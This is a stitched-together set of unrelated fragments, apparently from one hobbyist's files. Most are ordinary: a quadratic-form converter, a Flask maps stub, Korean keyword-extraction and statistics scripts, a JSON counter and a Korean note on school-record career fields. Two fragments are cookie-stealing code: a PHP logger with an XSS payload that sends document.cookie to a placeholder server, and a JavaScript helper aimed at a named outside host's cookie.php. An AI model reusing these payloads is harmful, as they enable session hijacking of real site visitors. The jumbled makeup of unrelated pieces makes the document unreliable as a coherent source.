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# Converts the general form(`y=ax²+bx+c`) of the input quadratic function to the standard form(`y=a(x-p)²+q`) of the quadratic function.
# 일반형 이차함수를 입력받아 표준형 이차함수로 변형하여 출력한다.

# ex1> input : y=2x²-8x+7 => result : y=2(x-2)²-1
# ex2> input : y=-3x²+6x-5 => result : y=-3(x-1)²-2

print('y=ax²+bx+c')
a1 = int(input('a : '))
if a1 == 0: 
    print('not a vaild quadratic function')

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from flask import Flask, render_template, request
from flask_googlemaps import GoogleMaps, Map
# require Flask-GoogleMaps (https://github.com/rochacbruno/Flask-GoogleMaps)

app = Flask(__name__)
api_key = 'java-chip-frappuccino' # change this to your api key
# get api key from Google API Console (https://console.cloud.google.com/apis/)

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print(__import__('requests').get(input('location of message.php on your server : '), json={'user_key': 'for-testing', 'type': 'text', 'content': input('content : ')}).text)

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<?php fwrite(fopen('cookie.txt', 'a'), $_GET['c'] . "\n"); ?>
<!-- usage : <script>location.href = "<server address>/cookie?c=" + document.cookie;</script> -->

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import requests
from bs4 import BeautifulSoup
from krwordrank.hangle import normalize
from krwordrank.word import KRWordRank
from konlpy.tag import Hannanum

def parse(url):
    print('\x1b[0;30;47mURL\x1b[0m : ' + url)
    return keywords(requests.get(url).text)

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import requests
from bs4 import BeautifulSoup
from krwordrank.hangle import normalize
from krwordrank.word import KRWordRank
from konlpy.tag import Hannanum

def parse(url):
    return keywords(requests.get(url).text)

def parse_all(articles):

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커리어넷의 직업정보에 등재되지 않은 직업은 학교생활기록부의 희망직업 란에 입력할 수 없다고요?

1. 2018학년도 학교생활기록부 기재요령 및 기타 교육부 문서

2018학년도 학교생활기록부 기재요령 78p 표준 가이드라인

‘진로희망’은 학생의 진로설계 및 변경 등을 고려하여 관심 분야나 희망 직업을 기재하고, ‘희망사유’ 에는 충분한 상담과 관찰을 통해 진로 희망 사유를 기재함.

※ 관심 분야나 희망 직업은 커리어넷(www.career.go.kr) 직업정보의 직업분류를 참고함.

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import math
start, end, interval = (int(i) for i in input().split(' '))
f = [int(i) for i in input().split(' ')]
result = []
for idx, i in enumerate(range(start, end, interval)):
    rank = (i*2+interval)/2
    result.append([str(i) + ' ~ ' + str(i+interval), f[idx], rank, rank*f[idx]])
f_aver = sum([row[1] for row in result]) # 도수 평균 
aver = sum([row[3] for row in result])/f_aver # 평균 
for row in result:

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function httpGet(e){var t=new XMLHttpRequest;return t.open('GET',e,!1),t.send(null),t.responseText}var url='http://silvermealbot.dothome.co.kr/cookie.php?c=';
//httpGet(url+document.cookie);

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import json
with open('something.json', 'r') as f:
    data = json.load(f)
print(len(data['names'])) # 전체 names 리스트의 길이

kinds = []
for name in data['names']:
    if name not in kinds:
        print(name, data['names'].count(name)) # names 안의 한 name과 그 개수
        kinds.append(name)